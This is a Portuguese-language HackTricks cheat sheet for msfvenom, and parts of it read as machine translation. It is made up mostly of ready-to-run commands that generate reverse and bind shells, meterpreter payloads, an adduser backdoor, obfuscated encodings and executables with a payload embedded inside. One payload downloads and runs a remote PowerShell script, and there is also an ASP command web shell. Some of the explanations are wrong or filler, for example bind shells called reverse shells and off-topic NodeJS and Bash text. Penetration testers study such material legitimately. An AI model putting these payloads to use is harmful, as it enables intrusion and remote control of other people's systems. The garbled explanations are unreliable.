hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

38 KiB

MSFVenom - CheatSheet

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}


msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

Também é possível usar o -a para especificar a arquitetura ou a --platform

Listagem

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

Parâmetros comuns ao criar um shellcode

Ao criar um shellcode, existem alguns parâmetros comuns que podem ser utilizados para personalizar o código gerado. Esses parâmetros permitem que você defina o tipo de payload, a arquitetura do sistema alvo, o formato de saída e outras opções relevantes. Abaixo estão alguns dos parâmetros mais comuns:

  • Payload: Especifica o tipo de payload que será usado no shellcode, como um shell reverso ou um payload de execução de comandos.
  • Arquitetura: Define a arquitetura do sistema alvo, como x86, x64 ou ARM.
  • Formato de saída: Determina o formato de saída do shellcode, como raw, exe, elf ou macho.
  • Bad characters: Permite especificar caracteres que devem ser evitados no shellcode, como caracteres nulos ou caracteres que podem causar problemas de codificação.
  • Encoder: Define o encoder a ser usado para ofuscar o shellcode e evitar detecção, como o encoder XOR ou o encoder Shikata Ga Nai.
  • Tamanho: Especifica o tamanho máximo do shellcode gerado.
  • Endereço de retorno: Define o endereço de retorno para o shellcode, geralmente usado em ataques de estouro de buffer.

Esses parâmetros podem ser ajustados de acordo com as necessidades específicas do seu teste de penetração, permitindo que você crie um shellcode personalizado e eficaz para explorar vulnerabilidades em sistemas alvo.

-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

A técnica de Reverse Shell é usada para estabelecer uma conexão de rede reversa entre o alvo e o atacante. Isso permite que o atacante assuma o controle do sistema alvo remotamente. O Metasploit Framework fornece uma ferramenta chamada msfvenom que pode ser usada para gerar payloads de Reverse Shell para sistemas Windows.

Gerando um Payload de Reverse Shell

Para gerar um payload de Reverse Shell usando o msfvenom, você precisa especificar o tipo de payload, o endereço IP do atacante e a porta que será usada para a conexão reversa. Aqui está o comando básico para gerar um payload de Reverse Shell para o Windows:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP_DO_ATACANTE> LPORT=<PORTA> -f exe > shell.exe

Substitua <IP_DO_ATACANTE> pelo endereço IP do atacante e <PORTA> pela porta que você deseja usar para a conexão reversa.

Depois de executar o comando, o msfvenom gerará um arquivo executável chamado shell.exe, que será o payload de Reverse Shell.

Executando o Payload de Reverse Shell

Depois de gerar o payload de Reverse Shell, você precisa executá-lo no sistema alvo. Existem várias maneiras de fazer isso, dependendo do contexto e do acesso ao sistema alvo.

Uma maneira comum de executar o payload de Reverse Shell é enviá-lo para o sistema alvo por meio de um vetor de ataque, como um arquivo malicioso anexado a um e-mail ou um link de download falso. Quando o usuário alvo abrir o arquivo ou clicar no link, o payload será executado e estabelecerá uma conexão reversa com o atacante.

Outra opção é usar uma técnica de exploração para injetar o payload de Reverse Shell em um processo em execução no sistema alvo. Isso pode ser feito aproveitando uma vulnerabilidade conhecida no sistema ou em um aplicativo em execução.

Independentemente do método escolhido, uma vez que o payload de Reverse Shell seja executado no sistema alvo, ele tentará estabelecer uma conexão reversa com o endereço IP e a porta especificados durante a geração do payload. O atacante pode então usar uma ferramenta como o Metasploit Framework para interagir com o sistema alvo e executar comandos remotamente.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Bind Shell

Uma bind shell é um tipo de shell reversa que permite que um invasor se conecte a um sistema comprometido e obtenha acesso ao shell do sistema. Ao contrário de uma shell reversa, onde o invasor inicia a conexão, em uma bind shell o sistema comprometido aguarda por uma conexão do invasor.

O msfvenom é uma ferramenta poderosa do Metasploit Framework que permite gerar payloads personalizados para exploração de vulnerabilidades. Com o msfvenom, é possível criar um payload para uma bind shell e injetá-lo em um sistema alvo.

A sintaxe básica para gerar um payload de bind shell usando o msfvenom é a seguinte:

msfvenom -p <payload> LHOST=<seu endereço IP> LPORT=<porta> -f <formato> -o <arquivo de saída>
  • <payload>: o payload específico que você deseja usar, como windows/meterpreter/reverse_tcp ou linux/x86/meterpreter/reverse_tcp.
  • <seu endereço IP>: o endereço IP do seu sistema.
  • <porta>: a porta que será usada para a conexão.
  • <formato>: o formato de saída desejado, como exe, elf ou raw.
  • <arquivo de saída>: o nome do arquivo de saída onde o payload será salvo.

Por exemplo, para gerar um payload de bind shell para um sistema Windows, usando o payload windows/meterpreter/reverse_tcp, com seu endereço IP sendo 192.168.0.100 e a porta 4444, no formato exe e salvando-o como payload.exe, você pode usar o seguinte comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o payload.exe

Depois de gerar o payload, você pode implantá-lo no sistema alvo e iniciar uma conexão reversa usando uma ferramenta como o Metasploit Framework. Isso permitirá que você obtenha acesso ao shell do sistema comprometido e execute comandos nele.

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

To create a user, you can use the msfvenom tool in Metasploit. The msfvenom tool allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system.

Here is an example command to create a user using msfvenom:

msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe

This command will generate an executable file called adduser.exe that, when executed on a Windows system, will create a new user with the specified username and password.

You can customize the payload by changing the USER and PASS parameters to the desired username and password, respectively. Additionally, you can modify the output format (-f) to suit your needs.

Remember to use this technique responsibly and only on systems that you have proper authorization to access.

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

Shell CMD

O shell CMD é um shell de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos de texto. É uma ferramenta poderosa para executar tarefas administrativas e automatizar processos no Windows.

O shell CMD pode ser usado para executar comandos, scripts e programas no Windows. Ele fornece uma interface de linha de comando para executar várias operações, como criar, copiar, excluir e renomear arquivos, gerenciar serviços, configurar redes e muito mais.

O shell CMD também suporta variáveis de ambiente, que podem ser usadas para armazenar valores e passá-los para comandos e scripts. Isso permite a criação de scripts mais avançados e automatizados.

Para abrir o shell CMD, você pode pressionar a tecla Windows + R e digitar "cmd" ou pesquisar por "Prompt de Comando" no menu Iniciar. Isso abrirá uma janela de comando onde você pode digitar os comandos desejados.

O shell CMD é uma ferramenta essencial para administradores de sistemas e usuários avançados do Windows, pois oferece uma maneira eficiente de interagir com o sistema operacional e executar tarefas de forma rápida e eficaz.

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Executar Comando

The msfvenom tool can be used to generate payloads that allow for command execution on a target system. This can be useful during a penetration test to gain remote access and control over the target.

To generate a payload that executes a command, you can use the following command:

msfvenom -p cmd/unix/reverse_netcat LHOST=<attacker IP> LPORT=<attacker port> -f <output format> -o <output file>

Replace <attacker IP> with the IP address of the machine running the listener, and <attacker port> with the port number on which the listener is running.

The <output format> can be any format supported by msfvenom, such as raw, elf, exe, dll, psh, asp, jsp, war, pl, py, rb, ps1, hta, c, cpp, java, msi, msu, vba, vbs, hta-psh, asp-psh, jsp-psh, war-psh, pl-psh, py-psh, rb-psh, ps1-psh, c-psh, cpp-psh, java-psh, msi-psh, msu-psh, vba-psh, or vbs-psh.

The <output file> is the name of the file that will contain the generated payload.

Once the payload is generated, you can transfer it to the target system and execute it to gain command execution.

Note: It is important to ensure that you have proper authorization and legal permission before attempting to execute commands on a target system.

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Codificador

O codificador é uma ferramenta essencial no arsenal de um hacker. Ele é usado para ofuscar o payload e evitar a detecção pelos sistemas de segurança. O Metasploit Framework fornece uma variedade de codificadores que podem ser usados com o msfvenom para criar payloads personalizados.

Codificadores disponíveis

Aqui estão alguns dos codificadores disponíveis no Metasploit Framework:

  • x86/shikata_ga_nai: Este codificador é baseado em metamorfose e é eficaz contra sistemas de detecção de assinaturas.
  • x86/jmp_call_additive: Este codificador usa instruções jmp e call para ofuscar o payload.
  • x86/call4_dword_xor: Este codificador usa instruções call e xor para ofuscar o payload.

Uso do codificador

Para usar um codificador com o msfvenom, você precisa especificar o codificador desejado usando a opção -e seguida pelo nome do codificador. Por exemplo, para usar o codificador x86/shikata_ga_nai, você pode usar o seguinte comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -e x86/shikata_ga_nai -f exe > payload.exe

Isso criará um payload do tipo exe usando o codificador x86/shikata_ga_nai.

Personalização do codificador

Você também pode personalizar o codificador especificando opções adicionais. Por exemplo, você pode definir o número de iterações usando a opção -i. Quanto maior o número de iterações, mais ofuscado será o payload. Você também pode usar a opção -b para especificar caracteres proibidos que devem ser evitados no payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d' -f exe > payload.exe

Neste exemplo, o codificador x86/shikata_ga_nai será usado com 5 iterações e os caracteres nulos, de nova linha e de retorno de carro serão evitados no payload.

Conclusão

Os codificadores são ferramentas poderosas que podem ajudar a evitar a detecção de payloads pelos sistemas de segurança. Ao usar o msfvenom, você pode facilmente criar payloads personalizados com codificadores específicos para atender às suas necessidades.

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Incorporado dentro do executável

O msfvenom pode ser usado para incorporar um payload dentro de um executável existente. Isso permite que você execute o payload sem chamar a atenção, pois ele estará oculto dentro do arquivo executável original.

Para incorporar um payload em um executável, você precisa especificar o tipo de payload, a arquitetura do sistema alvo, o formato do arquivo de saída e o nome do arquivo de entrada. Por exemplo, para incorporar um payload do tipo windows/meterpreter/reverse_tcp em um executável de 32 bits chamado original.exe, você pode usar o seguinte comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f exe -a x86 --platform windows -x original.exe -k -o embedded.exe

Neste exemplo, o msfvenom criará um novo arquivo chamado embedded.exe, que conterá o payload incorporado. Quando o embedded.exe for executado no sistema alvo, o payload será ativado e estabelecerá uma conexão reversa com o endereço IP e porta especificados.

Certifique-se de que o executável original seja compatível com a arquitetura do sistema alvo e que você tenha permissão legal para incorporar um payload nele. O uso indevido dessa técnica pode ser ilegal e violar a privacidade e a segurança de terceiros.

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Shell Reverso

O shell reverso é uma técnica comumente usada em testes de penetração para obter acesso remoto a um sistema Linux. Ele permite que um invasor estabeleça uma conexão de rede reversa com a máquina alvo, fornecendo assim controle total sobre o sistema.

Gerando um Payload com o msfvenom

O msfvenom é uma ferramenta poderosa do Metasploit Framework que permite gerar payloads personalizados para várias plataformas. Para gerar um payload de shell reverso para Linux, você pode usar o seguinte comando:

msfvenom -p <payload> LHOST=<seu endereço IP> LPORT=<porta> -f <formato> -o <nome do arquivo de saída>

Substitua <payload> pelo payload desejado, <seu endereço IP> pelo seu endereço IP público ou privado, <porta> pela porta que você deseja usar para a conexão reversa, <formato> pelo formato de saída desejado (por exemplo, elf, raw, etc.) e <nome do arquivo de saída> pelo nome do arquivo de saída desejado.

Exemplo

Aqui está um exemplo de comando para gerar um payload de shell reverso para Linux usando o msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.10 LPORT=4444 -f elf -o reverse_shell.elf

Neste exemplo, estamos gerando um payload de shell reverso para Linux na arquitetura x86, com o endereço IP do host sendo 192.168.0.10 e a porta sendo 4444. O formato de saída escolhido é ELF e o arquivo de saída será chamado reverse_shell.elf.

Executando o Payload

Depois de gerar o payload, você pode transferi-lo para o sistema alvo e executá-lo. Uma vez executado, o payload estabelecerá uma conexão reversa com o seu sistema, permitindo que você interaja com o sistema alvo remotamente.

Para receber a conexão reversa, você pode usar uma variedade de ferramentas, como o netcat ou o Metasploit Framework. Certifique-se de configurar corretamente o endereço IP e a porta para receber a conexão reversa.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Bind Shell

Uma bind shell é um tipo de shell reversa que permite que um invasor se conecte a um sistema comprometido e obtenha acesso ao shell do sistema. Ao contrário de uma shell reversa, onde o invasor inicia a conexão, em uma bind shell, o sistema comprometido aguarda por uma conexão de entrada do invasor.

O msfvenom é uma ferramenta poderosa que pode ser usada para gerar payloads para shells bind. Ele permite que você personalize o payload de acordo com suas necessidades, como o endereço IP e a porta que o sistema comprometido irá aguardar por conexões.

Aqui está um exemplo de como usar o msfvenom para gerar um payload para uma bind shell:

msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe > shell.exe

Neste exemplo, estamos gerando um payload para uma bind shell no Windows, que irá aguardar por conexões na porta 4444. O payload é salvo em um arquivo chamado shell.exe.

Depois de gerar o payload, você pode transferi-lo para o sistema comprometido e executá-lo. Uma vez que o payload é executado, o sistema comprometido estará aguardando por uma conexão do invasor na porta especificada. O invasor pode então se conectar ao sistema comprometido usando uma ferramenta como o netcat e obter acesso ao shell do sistema.

É importante lembrar que o uso de bind shells para fins maliciosos é ilegal e antiético. Este conhecimento deve ser usado apenas para fins educacionais e em um ambiente controlado, como parte de um teste de penetração autorizado.

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

SunOS (Solaris)

O SunOS (Solaris) é um sistema operacional baseado em Unix desenvolvido pela Sun Microsystems. Ele é amplamente utilizado em servidores e estações de trabalho. O Solaris oferece uma plataforma estável e segura para executar aplicativos críticos de negócios.

Compilando um payload para o Solaris

O msfvenom é uma ferramenta poderosa que permite gerar payloads personalizados para várias plataformas, incluindo o Solaris. Aqui está um exemplo de como compilar um payload para o Solaris usando o msfvenom:

msfvenom -p solaris/x86/shell_reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f elf > payload.elf

Neste exemplo, estamos usando o payload solaris/x86/shell_reverse_tcp, que cria uma conexão reversa TCP para o seu endereço IP e porta especificados. Certifique-se de substituir <seu endereço IP> pelo seu endereço IP real e <sua porta> pela porta desejada.

Depois de executar o comando acima, o msfvenom irá gerar o payload e salvá-lo em um arquivo chamado payload.elf. Este arquivo pode ser transferido para o sistema Solaris alvo e executado para estabelecer uma conexão reversa com o seu sistema.

Executando o payload no Solaris

Para executar o payload no Solaris, você pode usar o comando nc (netcat) para ouvir a porta especificada no payload:

nc -l -p <sua porta>

Em seguida, transfira o arquivo payload.elf para o sistema Solaris alvo e execute-o:

./payload.elf

Isso irá iniciar o payload e estabelecer uma conexão reversa com o seu sistema. Você poderá interagir com o shell remoto e executar comandos no sistema Solaris alvo.

Considerações finais

Ao compilar e executar payloads no Solaris, é importante garantir que você tenha permissões adequadas e esteja agindo dentro dos limites legais. O uso indevido de técnicas de hacking pode ser ilegal e sujeito a penalidades. Certifique-se de obter autorização adequada antes de realizar qualquer atividade de pentesting ou hacking.

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

Shell Reverso:

O shell reverso é uma técnica comum usada em pentest para estabelecer uma conexão de rede reversa entre o alvo e o atacante. Isso permite que o atacante assuma o controle do sistema comprometido e execute comandos remotamente.

O msfvenom é uma ferramenta poderosa que faz parte do framework Metasploit. Ele permite gerar payloads personalizados para várias plataformas, incluindo o macOS.

Aqui está um exemplo de como gerar um payload de shell reverso para o macOS usando o msfvenom:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f macho > shell.macho

Neste exemplo, substitua <seu endereço IP> pelo endereço IP do seu servidor de escuta e <sua porta> pela porta que você deseja usar para a conexão reversa.

Depois de gerar o payload, você pode implantá-lo no sistema de destino e iniciar o servidor de escuta para receber a conexão reversa.

Lembre-se de que o uso de técnicas de hacking sem permissão é ilegal e pode ter consequências graves. Certifique-se de obter a devida autorização antes de realizar qualquer teste de penetração.

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

A Bind Shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the shell provides a command-line interface to interact with the target system. This type of shell is commonly used in scenarios where the attacker has control over the target's network and wants to establish a persistent backdoor.

To create a bind shell payload using msfvenom, you can use the following command:

msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
  • <payload>: The payload to use, such as windows/meterpreter/reverse_tcp or linux/x86/shell/bind_tcp.
  • <attacker IP>: The IP address of the attacker machine.
  • <port>: The port number to listen on.
  • <format>: The output format, such as exe, elf, or raw.
  • <output file>: The file to save the generated payload.

For example, to create a bind shell payload for a Windows target, listening on port 4444, and save it as an executable file named payload.exe, you can use the following command:

msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o payload.exe

Remember to replace <attacker IP> with your actual IP address.

Once the payload is generated, you can transfer it to the target system and execute it to establish the bind shell.

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Cargas úteis baseadas na web

PHP

Shell reverso

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

O seguinte é um exemplo de um shell reverso em ASP/x:

<%@ Language=VBScript %>
<%
    Dim cmd
    cmd = Request.QueryString("cmd")
    If cmd <> "" Then
        Dim oShell
        Set oShell = CreateObject("WScript.Shell")
        Dim oExec
        Set oExec = oShell.Exec(cmd)
        Dim output
        output = oExec.StdOut.ReadAll()
        Response.Write(output)
    End If
%>

Este código permite executar comandos no servidor alvo através de uma solicitação GET. Para usar o shell reverso, você precisa enviar uma solicitação GET com o parâmetro cmd contendo o comando que deseja executar. O resultado do comando será retornado como resposta.

Para criar um payload ASP/x usando o msfvenom, você pode usar o seguinte comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f asp > shell.asp

Substitua <seu endereço IP> pelo seu endereço IP e <sua porta> pela porta que deseja usar para a conexão reversa.

Depois de gerar o payload, você pode fazer o upload do arquivo shell.asp para o servidor alvo e acessá-lo através de uma solicitação GET para obter acesso ao shell reverso. Certifique-se de que o servidor esteja configurado para executar arquivos ASP/x.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

O seguinte é um exemplo de um shell reverso em JSP usando o msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f war > shell.war

Este comando irá gerar um arquivo WAR chamado shell.war que contém o shell reverso em JSP. Você pode implantar esse arquivo em um servidor web compatível com JSP para estabelecer uma conexão reversa com o seu sistema.

Certifique-se de substituir <seu endereço IP> pelo seu endereço IP e <sua porta> pela porta que você deseja usar para a conexão reversa.

Depois de implantar o arquivo WAR em um servidor web, você pode acessar o shell reverso em JSP usando o seguinte URL:

http://<endereço IP do servidor>/<caminho para o arquivo WAR>/shell.jsp

Isso permitirá que você execute comandos no sistema remoto através do shell reverso em JSP.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

A técnica de Reverse Shell é usada para estabelecer uma conexão entre o atacante e o alvo, permitindo que o atacante controle o sistema comprometido remotamente. O atacante envia um payload malicioso para o sistema alvo, que, quando executado, estabelece uma conexão de volta ao atacante. Isso permite que o atacante execute comandos no sistema alvo e obtenha acesso remoto completo.

O Metasploit Framework fornece uma ferramenta chamada msfvenom que pode ser usada para gerar payloads maliciosos para diferentes tipos de shells reversos. O msfvenom permite personalizar o payload de acordo com as necessidades do atacante, como o tipo de shell reverso, o endereço IP e a porta para a conexão de volta.

Aqui está um exemplo de como gerar um payload de shell reverso usando o msfvenom:

msfvenom -p <payload> LHOST=<seu endereço IP> LPORT=<sua porta> -f <formato> -o <arquivo de saída>
  • <payload>: O tipo de payload que você deseja gerar, como windows/meterpreter/reverse_tcp ou linux/x86/meterpreter/reverse_tcp.
  • <seu endereço IP>: O endereço IP do seu sistema, onde você deseja receber a conexão de volta.
  • <sua porta>: A porta em que você deseja receber a conexão de volta.
  • <formato>: O formato do payload, como exe, elf ou raw.
  • <arquivo de saída>: O nome do arquivo de saída onde o payload será salvo.

Depois de gerar o payload, você pode enviá-lo para o sistema alvo e executá-lo. Assim que o payload for executado, uma conexão de shell reverso será estabelecida entre o sistema alvo e o seu sistema, permitindo que você execute comandos no sistema alvo remotamente.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

NodeJS é uma plataforma de desenvolvimento de aplicativos de código aberto que permite a execução de JavaScript no lado do servidor. Ele utiliza o mecanismo de JavaScript do Chrome para fornecer um ambiente de execução rápido e eficiente. O NodeJS é amplamente utilizado para criar aplicativos web escaláveis e em tempo real, bem como para desenvolver ferramentas de linha de comando.

Benefícios do NodeJS

  • Desempenho: O NodeJS é conhecido por seu desempenho excepcionalmente rápido devido ao seu modelo de E/S não bloqueante. Isso permite que o NodeJS lide com um grande número de conexões simultâneas sem sobrecarregar o servidor.

  • Escalabilidade: O NodeJS é altamente escalável, permitindo que os aplicativos lidem com um grande número de solicitações simultâneas de forma eficiente. Ele também suporta a criação de aplicativos em tempo real, como bate-papos e jogos multiplayer.

  • Ecossistema robusto: O NodeJS possui um ecossistema rico de pacotes e bibliotecas disponíveis através do gerenciador de pacotes npm. Isso facilita o desenvolvimento de aplicativos complexos, pois muitas funcionalidades já estão disponíveis como pacotes prontos para uso.

  • Facilidade de desenvolvimento: O NodeJS utiliza JavaScript, uma linguagem de programação popular e amplamente conhecida, o que torna mais fácil para os desenvolvedores criar aplicativos web e APIs RESTful.

Desenvolvimento de Aplicativos com NodeJS

Para desenvolver aplicativos com NodeJS, você pode usar uma variedade de estruturas e bibliotecas, como o Express.js, que é um framework web minimalista e flexível. O Express.js simplifica o processo de criação de rotas, manipulação de solicitações e respostas, e gerenciamento de sessões.

Além disso, o NodeJS possui uma ampla gama de módulos integrados que fornecem funcionalidades adicionais, como o módulo http para criar um servidor HTTP, o módulo fs para manipulação de arquivos e o módulo crypto para criptografia.

Conclusão

O NodeJS é uma plataforma poderosa para o desenvolvimento de aplicativos web escaláveis e em tempo real. Com seu desempenho excepcional, escalabilidade e ecossistema robusto, o NodeJS se tornou uma escolha popular entre os desenvolvedores. Se você está procurando criar aplicativos web rápidos e eficientes, o NodeJS é definitivamente uma opção a ser considerada.

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Cargas úteis de Linguagem de Script

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python

Python é uma linguagem de programação de alto nível, interpretada e de propósito geral. É amplamente utilizada no desenvolvimento de scripts, automação de tarefas, análise de dados e desenvolvimento de aplicativos web. A sintaxe simples e legível do Python torna-o uma escolha popular entre os programadores.

Msfvenom

Msfvenom é uma ferramenta poderosa e versátil do Metasploit Framework que permite a geração de payloads personalizados. Esses payloads podem ser usados para explorar vulnerabilidades em sistemas alvo durante testes de penetração.

A sintaxe básica do msfvenom é a seguinte:

msfvenom -p <payload> [opções]

Onde <payload> é o tipo de payload que você deseja gerar e [opções] são os parâmetros adicionais que você pode especificar para personalizar o payload.

Gerando um payload do Windows reverse shell

Um exemplo comum de uso do msfvenom é a geração de um payload do Windows reverse shell. Esse tipo de payload permite que um invasor estabeleça uma conexão reversa com o sistema alvo, fornecendo acesso remoto ao prompt de comando.

Aqui está um exemplo de comando para gerar um payload do Windows reverse shell usando o msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=<seu endereço IP> LPORT=<porta> -f exe > payload.exe

Substitua <seu endereço IP> pelo seu endereço IP e <porta> pela porta que você deseja usar para a conexão reversa.

Depois de executar o comando, um arquivo chamado payload.exe será gerado. Esse arquivo pode ser implantado no sistema alvo para estabelecer a conexão reversa.

Conclusão

O msfvenom é uma ferramenta essencial para hackers éticos e profissionais de segurança cibernética. Com ele, é possível gerar payloads personalizados para explorar vulnerabilidades em sistemas alvo durante testes de penetração. É importante usar essa ferramenta com responsabilidade e apenas para fins legais e éticos.

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash

Bash é uma linguagem de script amplamente utilizada em sistemas operacionais baseados em Unix. É uma das shells mais populares e oferece uma ampla gama de recursos e funcionalidades. O Bash é conhecido por sua flexibilidade e facilidade de uso, tornando-o uma escolha popular entre os hackers.

Injeção de código Bash

A injeção de código Bash é uma técnica comum usada por hackers para explorar vulnerabilidades em sistemas. Envolve a inserção de comandos Bash maliciosos em entradas de usuário não filtradas, permitindo que os hackers executem comandos arbitrários no sistema alvo.

Execução de comandos Bash

A execução de comandos Bash é uma técnica usada para executar comandos no sistema operacional usando a shell Bash. Os hackers podem explorar essa técnica para executar comandos maliciosos no sistema alvo, permitindo-lhes obter acesso não autorizado ou realizar outras atividades prejudiciais.

Scripts Bash maliciosos

Os scripts Bash maliciosos são programas de script escritos na linguagem Bash que têm a intenção de realizar atividades maliciosas. Esses scripts podem ser usados para realizar várias ações, como roubar informações confidenciais, comprometer a segurança do sistema ou causar danos aos dados.

Proteção contra ataques Bash

Para proteger um sistema contra ataques Bash, é importante implementar práticas de segurança adequadas, como:

  • Filtrar e validar todas as entradas de usuário para evitar a injeção de código malicioso.
  • Manter o sistema operacional e os softwares atualizados com as últimas correções de segurança.
  • Usar firewalls e sistemas de detecção de intrusões para monitorar e bloquear atividades suspeitas.
  • Implementar políticas de acesso e permissões adequadas para restringir o acesso não autorizado.
  • Realizar testes de penetração regulares para identificar e corrigir vulnerabilidades no sistema.

Ao seguir essas práticas de segurança, é possível reduzir significativamente o risco de ataques Bash e proteger o sistema contra hackers maliciosos.

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥